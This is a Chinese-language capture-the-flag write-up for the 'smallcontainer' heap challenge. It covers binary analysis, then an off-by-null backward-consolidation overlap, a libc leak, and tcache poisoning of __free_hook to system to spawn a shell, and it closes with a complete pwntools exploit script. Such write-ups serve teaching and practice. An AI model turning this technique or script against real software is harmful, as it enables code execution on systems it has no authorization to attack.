[巅峰极客 2022]smallcontainer wp

字数: 2709

题面

Ubuntu 18.04
这是一个small container,你能想办法找到出路吗?

仅提供二进制 service

堆重叠(利用 Off-by-Null)

通过 Off-by-Null 可以篡改 PREV_INUSE 位,这是堆利用非常经典的技巧。
堆快的 size 字段最低位是 PREV_INUSE ,用于标记物理相邻的前一个堆块是否正在被使用:

  • 1 前一个堆块正在被使用中
  • 0 前一个堆块已经被释放

Off-by-Null 漏洞能够写入一个 \x00 字节,请求大小为 0xF8 字节时,分配器实际会创建一个 size 为 0x101 的堆块: (0x100 是块大小,0x1 是 PREV_INUSE) 标志。此时就可以将其覆写,让分配器认为前一个块是空闲的,而不会觉察到块本身有异常。

一旦 PREV_INUSE 位被清零,free() 函数在释放这个被篡改的堆块时,就会执行向后合并(backward consolidation),其的核心流程如下:

  1. 伪造空闲的前块:需要在低地址处精心布置一个伪造的空闲堆块
  2. 设置 prev_size,:通过堆溢出等手段,将下一个堆块的 prev_size 字段设置为一个等于当前堆块地址与伪造堆块地址之间的差值。
  3. 触发合并:当程序 free() 被 Off-by-Null 篡改过的堆块时,free() 发现其 PREV_INUSE 为 0,便会信任 prev_size 字段,通过 chunk_at_offseet(p, -prevsize) 计算出前一个空闲块的地址,这个地址正好指向攻击者布置好的伪造堆块。
  4. 执行 unlink :分配器随后会尝试将这个伪造的空闲块从空闲链表中 unlink 下来,与当前块合并,这个 unlink 操作,如果伪造 fd 和 bk 指针满足检查条件 (FD->bk == P && BK->fd == P) 最终会将一个攻击者控制的指针写入目标地址,从而为后续的任意地址写或构造堆重叠铺平道路。

分析

checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
❯ pwn checksec ./service
[*] '/data/project/ctf-repo/pwn/nssctf/巅峰极客_2022-smallcontainer/service'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

ida pro 静态分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned __int64 v4; // [rsp+8h] [rbp-8h]

  init(a1: argc, a2: argv, a3: envp);
  while ( 1 )
  {
    menu();
    v4 = (int)retnum();
    if ( v4 == 5 )
      break;
    if ( v4 > 5 )
      goto LABEL_13;
    switch ( v4 )
    {
      case 4uLL:
        show();
        break;
      case 3uLL:
        edit();
        break;
      case 1uLL:
        add();
        break;
      case 2uLL:
        delete();
        break;
      default:
LABEL_13:
        puts(s: "Invalid choice.");
        break;
    }
  }
  puts(s: "Goodbye!");
  return 0;
}

菜单题。 菜单长这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
int menu()
{
  puts(s: "This is a cyber container");
  puts(s: "Can you break it?");
  puts(s: "1. Add");
  puts(s: "2. Delete");
  puts(s: "3. Edit");
  puts(s: "4. Show");
  puts(s: "5. Exit");
  return printf(format: "> ");
}

逐个来看看:
add:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
size_t add()
{
  int i; // [rsp+4h] [rbp-Ch]
  size_t size; // [rsp+8h] [rbp-8h]

  for ( i = 0; ; ++i )
  {
    if ( i > 16 )
      exit(status: 0);
    if ( heappp[i] == 0 || sizeee[i] == 0 )
      break;
  }
  printf(format: "Input size: ");
  size = (int)retnum();
  if ( size <= 0xFF || size > 0x3FF )
    exit(status: 0);
  heappp[i] = malloc(size);
  sizeee[i] = size;
  return size;
}

限制只能增加 16 个。每次都从 0 开始递增遍历到空的项来进行分配。大小限制在 0xFF ~ 0x3FF 之间。
将分配的堆地址放入 heappp[i] 内,将所请求的大小放入 sizeeee[i] 内。

show:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
int show()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf(format: "Input index: ");
  v1 = (int)retnum();
  if ( v1 > 0x10 || heappp[v1] == 0 || sizeee[v1] == 0 )
    exit(status: 0);
  return printf(format: "%lx", *(_QWORD *)heappp[v1]);
}

这里输出只有一个 %lx 打印出 heappp[v1] 的内容。

edit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 edit()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf(format: "Input index: ");
  v1 = (int)retnum();
  if ( v1 > 0x10 || heappp[v1] == 0 || sizeee[v1] == 0 )
    exit(status: 0);
  read(fd: 0, buf: (void *)heappp[v1], nbytes: sizeee[v1]);
  return check(a1: (_BYTE *)heappp[v1]);
}

写入内容,read 写入的大小被 sizeeee[i] 限制。
后面还用 check 函数进行检查,这里输出有一个后门:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
__int64 __fastcall check(_BYTE *a1)
{
  __int64 result; // rax

  while ( 1 )
  {
    result = (unsigned __int8)*a1;
    if ( (_BYTE)result == 0 )
      break;
    if ( *a1 == 0x11 )
      *a1 = 0;
    ++a1;
  }
  return result;
}

这里要是遍历到内容 0x11 的地址,就会将这里的内容清空,也就是置 0。
这里的作用就是用来修改堆 check 的元数据。比如 size 段要是有 0x11 就会直接清空,这里要是有 PREV_INUSE 位也会被清理掉。表示当前 chunk 是被释放的 chunk 。如果能够把 next_check 放入 unsorted bin 有机会将 curr_check 与 next_check 合并,虽然当前 chunk 没有被释放,如果我们从 unsortedbin 中获取到 chuk 则在 heappp 数组中就会存在两个指向同一 chunk 的指针。这样就可以利用 tcache bin atack 在 free_hook 写入 system 函数地址,执行 /bin/sh

delete:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
_QWORD *delete()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  printf(format: "Input index: ");
  v1 = (int)retnum();
  if ( v1 > 0x10 || heappp[v1] == 0 || sizeee[v1] == 0 )
    exit(status: 0);
  free(ptr: (void *)heappp[v1]);
  heappp[v1] = 0;
  sizeee[v1] = 0;
  return sizeee;
}

要是索引只能在 0x10 以内。大于 0x10 就会直接崩。
这里也有清理地址,没有 UAF。

利用

封装程序行为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def select(id: int):
    io.recvuntil(b"> ")
    io.sendline(str(id).encode())


def show(idx: int):
    select(4)
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    print("show ", idx)


def edit(idx: int, content: bytes):
    select(3)
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    sleep(0.1)
    io.send(content)
    print("edit ", idx)


def add(size: int):
    select(1)
    io.recvuntil(b"Input size: ")
    io.sendline(str(size).encode())
    print("add ", hex(size))


def delete(idx: int):
    select(2)
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    print("delete ", idx)

布置堆

1
2
3
4
5
6
7
8
# 准备堆布局
add(0x1F8)  # 0
add(0x1F8)  # 1
add(0x1F8)  # 2
add(0x208)  # 3

for _ in range(7):
    add(0x1F8)  # 4 ~ 10

chunk 0, 1, 2 的大小 0x1F8 它们的 size 字段是 0x201 ,后续 Off-by-Null 将 0x201 的最低字节 0x1 覆盖为 0x0 。

1
2
3
4
5
6
# 让 chunk0 进入 unsorted bin
for i in range(6):
    delete(5 + i)

delete(1)
delete(0) # 进 unsorted bins

填满 tcache,释放 chunk 1 chunk 0,将 check 0 放如 unsorted bins,为后续 libc 泄漏做准备。

Off-by-Null

上述操作完成后,chunk 2 和 chunk 3 之间的堆空间如下:

可以看到 chunk 3 此时 size 位是 0x201,PREV_INUSE 为 1。
接下来写入 chunk 2 覆盖 chunk3 的 prevsize 并利用 Off-by-Null 改写 PREV_INUSE 为 0:

1
edit(2, b"a" * 0x1F8)

然后将 chunk 3 的 prevsize 改写为 0x600 这样就能伪造一个非常大的空闲堆空间:

1
edit(2, b"a" * 0x1F0 + p64(0x600))

如下图所示。

修复 chunk3 之后的内存布局

chunk 3 原本的大小是 0x210,Off-by-Null 将 chunk 3 的最低字节清零之后,分配器对下一个 chunk 在哪里都判断会错误,所以就不断伪造出最小的 0x20 chunk 来计算下一个 chunk 地址。

1
2
edit(3, p64(0x21) * 0x41)
edit(4, p64(0x21) * 0x3F)

这样整个 3, 4 就会充满 0x21:

向后合并

此时万事俱备,只要 free 掉 chunk3 就会触发向后合并,拿到重叠多个 chunk 的大 chunk 地址:
从 chunk 0 开始的堆块。

1
delete(3)  # 合并

这个 0x800的大块会被放回 unsorted bin ,它的 fd/bk 位于用户区开头。

切出重叠块泄漏 libc

之后请求 0x280 堆块,就从这个大块中切割:

1
add(0x278) # 0

原来 unsortedbins 残留的指向 main_arena 的地址可以用于泄漏 libc。正好 show 函数就是泄漏 %lx 恰好可以装下这个地址:

1
show(0)

题目没给 libc,不过找到 libc 为:

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.

这样就拿到 free_hook 和 system 地址。

tcache attack

注意到 chunk 0 有一段与 tcachebins 重叠:

可以用于篡改,指向 free_hook。而且此时 chunk 1 我们是可以写数据的。可以在开头写入 /bin/sh 。

1
edit(0, b"/bin/sh\x00" + b"a" * 0x1F0 + p64(0x201) + p64(free_hook))

得到:

此时 bins 情况:

1
2
tcachebins
0x200 [  7]: 0x564924866460 —▸ 0x7f17cdded8e8 (__free_hook) ◂— 0

篡改 free_hook

1
2
3
add(0x1f8) # 1
add(0x1f8) # 2
edit(3, p64(system))

就是很常规的篡改。

pwn

此时 free_hook 已经是 system 所以我们执行 free 的时候实际是执行 system 这时候我们 free chunk 0 就会把我们之前布置在 chunk 0 的 /bin/sh 当成命令执行,这样我们就拿到 shell。

1
2
3
delete(0)

io.interactive()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

io = process("./service")
#io = remote("node4.anna.nssctf.cn", 22086)

libc = ELF("./libc.so.6")


def select(id: int):
    io.recvuntil(b"> ")
    io.sendline(str(id).encode())


def show(idx: int):
    select(4)
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    print("show ", idx)


def edit(idx: int, content: bytes):
    select(3)
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    sleep(0.1)
    io.send(content)
    print("edit ", idx)


def add(size: int):
    select(1)
    io.recvuntil(b"Input size: ")
    io.sendline(str(size).encode())
    print("add ", hex(size))


def delete(idx: int):
    select(2)
    io.recvuntil(b"Input index: ")
    io.sendline(str(idx).encode())
    print("delete ", idx)


# 准备堆布局
add(0x1F8)  # 0
add(0x1F8)  # 1
add(0x1F8)  # 2
add(0x208)  # 3

for _ in range(7):
    add(0x1F8)  # 4 ~ 10

# 让 chunk0 进入 unsorted bin
for i in range(6):
    delete(5 + i)

delete(1)
delete(0) # 进 unsorted bins

edit(2, b"a" * 0x1F8)
# 伪造 PREV_SIZE = 0x600 跨越 chunk0 到 chunk3 之间的 3 个chunk
edit(2, b"a" * 0x1F0 + p64(0x600))

edit(3, p64(0x21) * 0x41)
edit(4, p64(0x21) * 0x3F)

delete(3)  # 合并

add(0x278) # 0
show(0)

#  chunk3 伪造的 matadata 负责制造重叠,重叠 chunk 负责修改 tcache 链
libc_base = int(io.recv(12), 16) - 0x3EC190
print("libc address =", hex(libc_base))

free_hook = libc.sym["__free_hook"] + libc_base
system = libc.sym["system"] + libc_base

print("free_hook address =", hex(free_hook))
print("system address =", hex(system))

# chunk 0 + 0x1f8: chunk1 的 size
# chunk0 + 0x200 : chunk1 的用户区,也就是 tcache fd
edit(0, b"/bin/sh\x00" + b"a" * 0x1F0 + p64(0x201) + p64(free_hook))
gdb.attach(io)

add(0x1f8) # 1
add(0x1f8) # 2
edit(3, p64(system))

delete(0)

io.interactive()